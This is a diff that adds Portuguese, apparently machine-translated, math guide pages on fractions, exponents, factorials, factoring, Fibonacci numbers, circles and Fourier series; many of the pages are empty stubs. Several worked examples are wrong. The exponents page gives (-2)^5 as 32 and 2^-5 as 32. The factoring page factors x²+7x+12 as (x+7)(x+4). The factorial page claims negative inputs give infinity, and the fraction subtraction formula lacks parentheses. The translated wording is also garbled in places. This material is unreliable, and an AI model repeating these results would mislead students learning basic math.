+ a ⁄ b - c ⁄ d = (a \* d) - (b \* c) ⁄ (b \* d) 
+
+###### Exemplo
+
+Considere as frações 5 ⁄ 6 e 5 ⁄ 15
+
+1.  Os denominadores são diferentes. Então você precisa tornar os denominadores comuns
+2.  Antes disso, se possível, simplifique as frações. Neste caso, 5 ⁄ 15 pode ser simplificado como 1 ⁄ 3 . Aqui, 5 ⁄ 15 e 1 ⁄ 3 são chamados de frações equivalentes.
+3.  Após a simplificação, as frações são 5 ⁄ 6 e 1 ⁄ 3 .
+4.  Agora, para subtrair essas frações, você deve tornar os denominadores comuns
+5.  Multiplique o numerador e o denominador de uma fração por um denominador da outra
+6.  Para a fração 5 , 6 , o denominador da outra fração é 3. Para a fração 1 ⁄ 3 , o denominador da outra fração é 6
+
+ ((5 \* 3) - (1 \* 6)) ⁄ (6 \* 3) = 9 ⁄ 18 
+
+7.  A fração resultante é 9 ⁄ 18 . Isso pode ser ainda mais simplificado como 1 ⁄ 2
+
+ 5 ⁄ 6 - 5 ⁄ 15 = 1 ⁄ 2
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponent-rules-intro/index.md b/client/src/guide/portuguese/mathematics/exponent-rules-intro/index.md
new file mode 100644
index 0000000000..45ba65e916
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponent-rules-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponent Rules Intro
+localeTitle: Introdução às regras do expoente
+---
+## Introdução às regras do expoente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponent-rules-intro/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponential-and-logarithmic-functions/index.md b/client/src/guide/portuguese/mathematics/exponential-and-logarithmic-functions/index.md
new file mode 100644
index 0000000000..c4a5ec9ad6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponential-and-logarithmic-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Exponential and Logarithmic Functions
+localeTitle: Funções exponenciais e logarítmicas
+---
+## Funções exponenciais e logarítmicas
+
+Uma função exponencial está na seguinte forma: f (x) = b \* a ^ x Uma função logarítmica está na seguinte forma: f (x) = loga (x) + b
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponential-functions-compound-interest/index.md b/client/src/guide/portuguese/mathematics/exponential-functions-compound-interest/index.md
new file mode 100644
index 0000000000..90e9a99ca3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponential-functions-compound-interest/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Functions Compound Interest
+localeTitle: Funções Exponenciais Juros Compostos
+---
+## Funções Exponenciais Juros Compostos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-functions-compound-interest/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponential-functions-introduction/index.md b/client/src/guide/portuguese/mathematics/exponential-functions-introduction/index.md
new file mode 100644
index 0000000000..78f87ada77
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponential-functions-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Functions Introduction
+localeTitle: Introdução às funções exponenciais
+---
+## Introdução às funções exponenciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-functions-introduction/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponential-growth-and-decay-word-problems/index.md b/client/src/guide/portuguese/mathematics/exponential-growth-and-decay-word-problems/index.md
new file mode 100644
index 0000000000..3d68b52371
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponential-growth-and-decay-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Growth and Decay Word Problems
+localeTitle: Problemas de crescimento exponencial e palavra de decaimento
+---
+## Problemas de crescimento exponencial e palavra de decaimento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-growth-and-decay-word-problems/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponential-growth-and-decay/index.md b/client/src/guide/portuguese/mathematics/exponential-growth-and-decay/index.md
new file mode 100644
index 0000000000..2aea51e637
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponential-growth-and-decay/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Growth and Decay
+localeTitle: Crescimento Exponencial e Decaimento
+---
+## Crescimento Exponencial e Decaimento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-growth-and-decay/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponential-word-problems/index.md b/client/src/guide/portuguese/mathematics/exponential-word-problems/index.md
new file mode 100644
index 0000000000..ff0d12f4aa
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponential-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Word Problems
+localeTitle: Problemas de palavras exponenciais
+---
+## Problemas de palavras exponenciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-word-problems/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponents-basic-rules/index.md b/client/src/guide/portuguese/mathematics/exponents-basic-rules/index.md
new file mode 100644
index 0000000000..eb793a382f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponents-basic-rules/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponents Basic Rules
+localeTitle: Regras básicas dos expoentes
+---
+## Regras básicas dos expoentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponents-basic-rules/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/exponents/index.md b/client/src/guide/portuguese/mathematics/exponents/index.md
new file mode 100644
index 0000000000..bfcef50feb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/exponents/index.md
@@ -0,0 +1,36 @@
+---
+title: Exponents
+localeTitle: Expoentes
+---
+## Expoentes
+
+Um expoente é uma abreviação para o número de vezes que um número é multiplicado por ele mesmo. Muitas vezes é denotado com um sobrescrito, karat, ou com "ao poder de" tais como:
+
+*   2 3
+*   2 ^ 3
+*   2 ao poder de 3
+
+Neste exemplo, 3 é o expoente.
+
+Para calcular o valor de 2 3 , você multiplicaria 2 para si mesmo 3 vezes: 2 \* 2 \* 2. Isso é 8.
+
+Expoentes comuns têm nomes especiais:
+
+*   O expoente de 2 é geralmente chamado de quadrado. Então, 3 2 é referido como 3 ao quadrado, avaliando para 9.
+*   O expoente de 3 é geralmente chamado de cubo. Então, 2 3 é referido como 3 cubos, avaliando a 8.
+
+### Expoentes Negativos
+
+Os expoentes negativos são calculados de forma semelhante, exceto que o valor é colocado como denominador abaixo de um numerador de 1.
+
+Por exemplo, 2 \-2 = 1 / (2 \* 2) = 1/4
+
+### Mais exemplos
+
+2 5 = 2 _2_ 2 _2_ 2 = 32
+
+\-2 5 = -2 _\-2_ -2 _\-2_ -2 = 32
+
+10 6 = 1.000.000
+
+2 \-5 = 1 / (2 _2_ 2 _2_ 2) = 32
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/factorial-function/index.md b/client/src/guide/portuguese/mathematics/factorial-function/index.md
new file mode 100644
index 0000000000..3b841396b8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/factorial-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Factorial Function
+localeTitle: Função fatorial
+---
+## Função fatorial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factorial-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/factorials/index.md b/client/src/guide/portuguese/mathematics/factorials/index.md
new file mode 100644
index 0000000000..4e7807ef2b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/factorials/index.md
@@ -0,0 +1,47 @@
+---
+title: Factorials
+localeTitle: Factorials
+---
+## Factorials
+
+### Definição de Fatorial
+
+O fatorial é multiplicá-lo por cada intiger mais baixo, terminando em um. Se o número inicial for negativo, o resultado será infinito.
+
+Um fatorial de n , um inteiro não negativo, é definido como:
+
+n! = 1 \* 2 \*… \* (n - 1) \* n
+
+Um caso especial surge quando n = 0 . Ou seja, 0! = 1
+
+### Conveniência de Factorials
+
+A definição acima fornece conveniência em determinados cálculos. Por exemplo, fatorials dentro de frações podem ser simplificados da seguinte maneira:
+
+Exemplo 1: 7! / 5! = (1 \* 2 \* 3 \* 4 \* 5 \* 6 \* 7) / (1 \* 2 \* 3 \* 4 \* 5) = 6 \* 7 = 42
+
+Exemplo 2: (n + 1)! / n! = (1 \* 2 \*… \* n \* (n + 1)) / (1 \* 2 \*… \* n) = n + 1
+
+### Definição alternativa
+
+Alternativamente, os fatoriais podem ser definidos da seguinte forma:
+
+0! = 1
+
+n! = n \* (n - 1)! se n> 0
+
+Essa definição recursiva significa exatamente o mesmo que a definição tradicional. Aplicando isso no segundo exemplo acima, obtemos:
+
+(n + 1)! / n! = (n + 1) \* n! / n! = n + 1
+
+### Aparte: extensão para não inteiros
+
+Note que fatorial como definido acima se aplica somente a inteiros não negativos. Na verdade, há uma generalização de fatoriais que também se estende a não inteiros, que é a função Gama. Em particular, para qualquer número natural n , você tem n! = Gama (n + 1) = n \* Gama (n) .
+
+Para mais, consulte [Extensão de valores fatorial para valores não inteiros do argumento](https://en.wikipedia.org/wiki/Factorial#Extension_of_factorial_to_non-integer_values_of_argument) .
+
+Um exemplo complicado que muitos podem não saber se 0! = 1. Para mais provas, consulte o link em Mais Informações.
+
+#### Mais Informações:
+
+[Factorials](http://www.purplemath.com/modules/factorial.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/factoring-in-algebra/index.md b/client/src/guide/portuguese/mathematics/factoring-in-algebra/index.md
new file mode 100644
index 0000000000..47692e31a4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/factoring-in-algebra/index.md
@@ -0,0 +1,19 @@
+---
+title: Factoring in Algebra
+localeTitle: Factoring em álgebra
+---
+## Factoring em álgebra
+
+Factoring é como você toma um quadrático na forma padrão e o coloca em forma fatorada. A forma padrão para um quadrático é normalmente mostrada como ax 2 + bx + c, onde aeb são coeficientes e c é uma constante. A forma fatorada é normalmente mostrada como (x - d) (x - t) onde d e t são ambos coeficientes.
+
+## Factoring em sua cabeça
+
+Esse método de fatoração geralmente funciona melhor quando a = 1. Para fazer isso quando a = 1, você olha para o que dois números adicionam para igual a b, enquanto também multiplica para c. Esses dois números serão iguais a d e t.
+
+#### Exemplo 1:
+
+x 2 + 2x + 1 Aqui você tem que procurar dois números que se multiplicam para 1 e adicionar a 2. Esses dois números são 1 e 1. Então você coloca esses números na forma fatorada assim: (x + 1) (x + 1)
+
+#### Exemplo 2:
+
+x 2 + 7x + 12 Aqui você tem que procurar dois números que se multiplicam para 12 e somam 7. Esses dois números são 3 e 4. Então você coloca esses números na forma fatorada assim: (x + 7) (x + 4)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/factoring-polynomials-common-factor/index.md b/client/src/guide/portuguese/mathematics/factoring-polynomials-common-factor/index.md
new file mode 100644
index 0000000000..ac5cdb5ed7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/factoring-polynomials-common-factor/index.md
@@ -0,0 +1,11 @@
+---
+title: Factoring Polynomials Common Factor
+localeTitle: Factor Comum de Factoring Polinomial
+---
+## Factor Comum de Factoring Polinomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factoring-polynomials-common-factor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/factoring-quadratics-the-simple-case/index.md b/client/src/guide/portuguese/mathematics/factoring-quadratics-the-simple-case/index.md
new file mode 100644
index 0000000000..9379a6272f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/factoring-quadratics-the-simple-case/index.md
@@ -0,0 +1,11 @@
+---
+title: Factoring Quadratics the Simple Case
+localeTitle: Factoring Quadratics the Simple Case
+---
+## Factoring Quadratics the Simple Case
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factoring-quadratics-the-simple-case/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/factoring-quadratics/index.md b/client/src/guide/portuguese/mathematics/factoring-quadratics/index.md
new file mode 100644
index 0000000000..eed408d4dd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/factoring-quadratics/index.md
@@ -0,0 +1,9 @@
+---
+title: Factoring Quadratics
+localeTitle: Factoring Quadratics
+---
+## Factoring Quadratics
+
+Para a função: f (x) = x ^ 2 + 2x + 1, a forma fatorada seria f (x) = (x + 1) (x + 1) ou f (x) = (x + 1) ^ 2
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/fibonacci-number/index.md b/client/src/guide/portuguese/mathematics/fibonacci-number/index.md
new file mode 100644
index 0000000000..a979e4ef79
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/fibonacci-number/index.md
@@ -0,0 +1,28 @@
+---
+title: Fibonacci Number
+localeTitle: Número de Fibonacci
+---
+## Número de Fibonacci
+
+Fibonacci Number é um termo da _seqüência de Fibonacci_ , provavelmente um dos mais famosos seqüências lá fora. Nesta seqüência, cada novo número é a soma dos dois números anteriores:
+
+*   F (n) = F (n - 1) + F (n - 2).
+
+Então vamos pegar desde o começo, e começa com 0. O próximo número será a soma do dois números anteriores, que serão 1. Portanto, o próximo número também será 1. Depois vem o terceiro número, que será a soma de 1 e 1, que é 2. Em seguida, vem 1 e 2, que é 3, 2 e 3, que é 5, 3 e 5, que é 8 e assim por diante.
+
+Esta sequência é vista em muitos lugares da natureza, como a casca de um caracol ou a padrões espirais de um girassol.
+
+Os valores iniciais são:
+
+0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233…
+
+Se você deseja fazer um programa que encontre o número de fibonacci após x iterações, certifique-se de tem um limite grande o suficiente. O valor cresce exponencialmente rápido e, portanto, leva mais espaço do que o esperado.
+
+Algo que é fascinante sobre a seqüência de Fibonnaci é a sua existência na natureza. Ela pode ser encontrada em pétalas de flores, sementes, pinhas, conchas, furacões e muito mais.
+
+### Mais Informações:
+
+*   Muitas informações sobre os números de Fibonacci, incluindo a prova da fórmula de Binet, podem ser encontradas [aqui](https://en.wikipedia.org/wiki/Fibonacci_number) .
+*   [A Enciclopédia On-Line de Seqüências Inteiras: Números de Fibonacci](http://oeis.org/A000045)
+*   [A seqüência de Fibonacci como é encontrada na escala musical.](https://www.youtube.com/watch?v=2pbEarwdusc)
+*   [A seqüência de Fibonacci na natureza](https://io9.gizmodo.com/5985588/15-uncanny-examples-of-the-golden-ratio-in-nature)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/finding-a-percent/index.md b/client/src/guide/portuguese/mathematics/finding-a-percent/index.md
new file mode 100644
index 0000000000..2b8c9021c5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/finding-a-percent/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding a Percent
+localeTitle: Encontrando um Percentual
+---
+## Encontrando um Percentual
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-a-percent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md b/client/src/guide/portuguese/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md
new file mode 100644
index 0000000000..41e1f775f7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding an Angle in a Right Angled Triangle
+localeTitle: Encontrando um ângulo em um triângulo retângulo
+---
+## Encontrando um ângulo em um triângulo retângulo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md b/client/src/guide/portuguese/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md
new file mode 100644
index 0000000000..cfcf3ecb33
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md
@@ -0,0 +1,69 @@
+---
+title: Finding Circumference of a Circle When Given the Area
+localeTitle: Encontrando a circunferência de um círculo quando dada a área
+---
+## Informação de fundo
+
+##### O que é circunferência?
+
+O comprimento do limite delimitador de uma figura geométrica curva.
+
+* * *
+
+##### O que é área?
+
+Área é a medida de quanto espaço existe em uma superfície plana.
+
+### Pergunta: Encontre a circunferência do círculo quando a área do círculo é dada?
+
+##### Passos:
+
+*   área de círculo = π × r 2 , então vamos encontrar raio de círculo com essas fórmulas.
+*   circunferência do círculo = 2 × π r, e coloque o raio nesta fórmula para calcular a circunferência.
+
+ Exemplo, 
+ Pergunta) Encontre circunferência de um círculo com área = π 3 ? 
+ Responda: 
+ Pelas etapas acima, 
+ área = π × r 2 
+ π 3 = π × π 2 
+ comparando, obtemos 
+ raio, r = π 
+ Agora coloque esse valor em fórmulas de circunferência, 
+ cirucumference = 2 × π r 
+ = 2 × π π 
+ = 2 π 2 
+ Assim, encontramos a resposta. 
+
+### Área (A) de um círculo
+
+A = π \* raio 2
+
+### Circunferência (C) de um Círculo
+
+C = 2 \* π \* raio
+
+## Para encontrar a circunferência de um círculo dada a área
+
+1.  Resolva o raio do círculo
+    
+    raio = (A / π) ½
+    
+2.  Insira o raio na fórmula para a circunferência e solucione.
+    
+    C = 2 \* π \* (A / π) ½
+    
+
+#### Mais Informações:
+
+[Área de um círculo](https://guide.freecodecamp.org/mathematics/area-of-a-circle)
+
+### Aqui estão algumas ilustrações legais
+
+#### Circunferência
+
+![Círculo](https://www.mathplanet.com/Oldsite/media/55567/circle01.png)
+
+#### Área
+
+![Área do círculo](http://www.mathwarehouse.com/animated-gifs/images/area-of-circle-through-triangles-area-demo_xl.gif)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/finding-slope-from-graph/index.md b/client/src/guide/portuguese/mathematics/finding-slope-from-graph/index.md
new file mode 100644
index 0000000000..414f3412f2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/finding-slope-from-graph/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding Slope from Graph
+localeTitle: Encontrando o declive do gráfico
+---
+## Encontrando o declive do gráfico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-slope-from-graph/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/finding-the-inverse-of-a-function/index.md b/client/src/guide/portuguese/mathematics/finding-the-inverse-of-a-function/index.md
new file mode 100644
index 0000000000..133b884708
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/finding-the-inverse-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding the Inverse of a Function
+localeTitle: Encontrando o Inverso de uma Função
+---
+## Encontrando o Inverso de uma Função
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-the-inverse-of-a-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md b/client/src/guide/portuguese/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md
new file mode 100644
index 0000000000..36df0107d6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding the Minimum and Maximum of a Function
+localeTitle: Encontrando o mínimo e o máximo de uma função
+---
+## Encontrando o mínimo e o máximo de uma função
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/fourier-series/index.md b/client/src/guide/portuguese/mathematics/fourier-series/index.md
new file mode 100644
index 0000000000..6cbe470c10
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/fourier-series/index.md
@@ -0,0 +1,14 @@
+---
+title: Fourier Series
+localeTitle: Séries de Fourier
+---
+## Séries de Fourier
+
+As Séries de Fourier representam alguma função como uma soma de senos e cossenos. Isso pode ser feito através da aplicação de uma Transformada de Fourier em alguma função. Existem muitos tipos diferentes de transformadas de Fourier, como contínua, discreta, finita e infinita. Aqui está um caso de uso simples para uma Transformada de Fourier: Digamos que você gostaria de aproximar uma onda quadrada algebricamente. A melhor maneira de fazer isso seria aplicar uma Transformada de Fourier, gerando uma Série de Fourier. Esta nova série pode ser aproximada usando Taylor Series, então a soma de senos e cossenos se tornará uma soma de polinômios, que são fáceis para um computador calcular. As séries de Fourier são estudadas hoje, em um campo chamado "Análise de Fourier". Para uma compreensão intuitiva da transformação, leia o artigo "BetterExplained" na seção de informações abaixo. Para um ponto de partida para as aplicações acadêmicas / de engenharia da Série de Fourier, consulte o artigo da Wikipédia abaixo.
+
+#### Mais Informações:
+
+*   [Wikipedia na série de Fourier](https://en.wikipedia.org/wiki/Fourier_series)
+*   [Wolfram na série de Fourier](http://mathworld.wolfram.com/FourierSeries.html)
+*   [Série de Fourier: melhor explicado](https://betterexplained.com/articles/an-interactive-guide-to-the-fourier-transform/)
+*   [StackExchange na Transformada de Fourier](https://math.stackexchange.com/questions/1002/fourier-transform-for-dummies)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/fractional-exponents/index.md b/client/src/guide/portuguese/mathematics/fractional-exponents/index.md
new file mode 100644
index 0000000000..5bfb5f5659
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/fractional-exponents/index.md
@@ -0,0 +1,23 @@
+---
+title: Fractional Exponents
+localeTitle: Expoentes Fracionários
+---
+## Expoentes Fracionários
+
+Os Expoentes Fracionários são usados ​​para elevar um número para um expoente que não é um número inteiro. Se você trabalhou com expoentes e raízes quadradas antes, você já fez expoentes fracionários antes. Por exemplo, a raiz quadrada de 3 é a mesma que dizer 3 a 1/2.
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/square-root-as-fraction.gif)
+
+Sabendo que qualquer número inteiro pode ser representado como uma fração com um denomizador de um, levantar qualquer coisa para n / 1 é a mesma coisa que aumentar esse número para n. Colocando os dois juntos, podemos escrever a fórmula geral dos expoentes fractais como:
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/formula-numerator-not-one.gif)
+
+**Nota: Não importa o que você faz primeiro, o numerador ou denomenator**
+
+Aqui está um exemplo:
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/formula-numerator-not-one2.gif)
+
+#### Mais Informações:
+
+http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/formula-examples-simplify-exexents-with-fractions.php https://www.mathsisfun.com/algebra/exponent-fractional.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/fractions/index.md b/client/src/guide/portuguese/mathematics/fractions/index.md
new file mode 100644
index 0000000000..f80de3b1f9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/fractions/index.md
@@ -0,0 +1,28 @@
+---
+title: Fractions
+localeTitle: Frações
+---
+## Frações
+
+Um número fracionário representa parte de um número inteiro, um valor entre 0 e 1. Eles podem ser representados usando decimais (por exemplo, 0,1), porcentagens (por exemplo, 10%), índices negativos (por exemplo, 10 ^ -1) ou frações (por exemplo, 1 / 10).
+
+Uma fração normalmente tem duas partes que são divididas por uma linha:
+
+*   Numerador: Representa o número de partes iguais que marcam a fração. (Acima da linha)
+    
+*   Denominador: Representa o número pelo qual o numerador é dividido para criar a fração. (abaixo da linha)
+    
+
+O numerador e o denominador são ambos inteiros (números inteiros).
+
+Uma fração própria é aquela em que o numerador é menor que o denominador.
+
+Frações também podem ser adicionadas após um número inteiro para aumentar sua precisão.
+
+### Exemplos
+
+1½ representa 1 + 1/2 ou 1.5.
+
+Nem todas as frações têm representações decimais:
+
+⅓ ou 1/3 representa 1 dividido por 3
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md b/client/src/guide/portuguese/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md
new file mode 100644
index 0000000000..af88c68fa6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Notation Definitions and Evaluating at a Number
+localeTitle: Definições de notação de função e avaliação em um número
+---
+## Definições de notação de função e avaliação em um número
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/function-transformations/index.md b/client/src/guide/portuguese/mathematics/function-transformations/index.md
new file mode 100644
index 0000000000..c6f0a0395a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/function-transformations/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Transformations
+localeTitle: Transformações de Função
+---
+## Transformações de Função
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/function-transformations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions-domain-and-range/index.md b/client/src/guide/portuguese/mathematics/functions-domain-and-range/index.md
new file mode 100644
index 0000000000..010177ac6b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions-domain-and-range/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions Domain and Range
+localeTitle: Funções Domínio e Intervalo
+---
+## Funções Domínio e Intervalo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions-domain-and-range/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/absolute-value/index.md b/client/src/guide/portuguese/mathematics/functions/absolute-value/index.md
new file mode 100644
index 0000000000..25ce196b0e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/absolute-value/index.md
@@ -0,0 +1,53 @@
+---
+title: Absolute Value
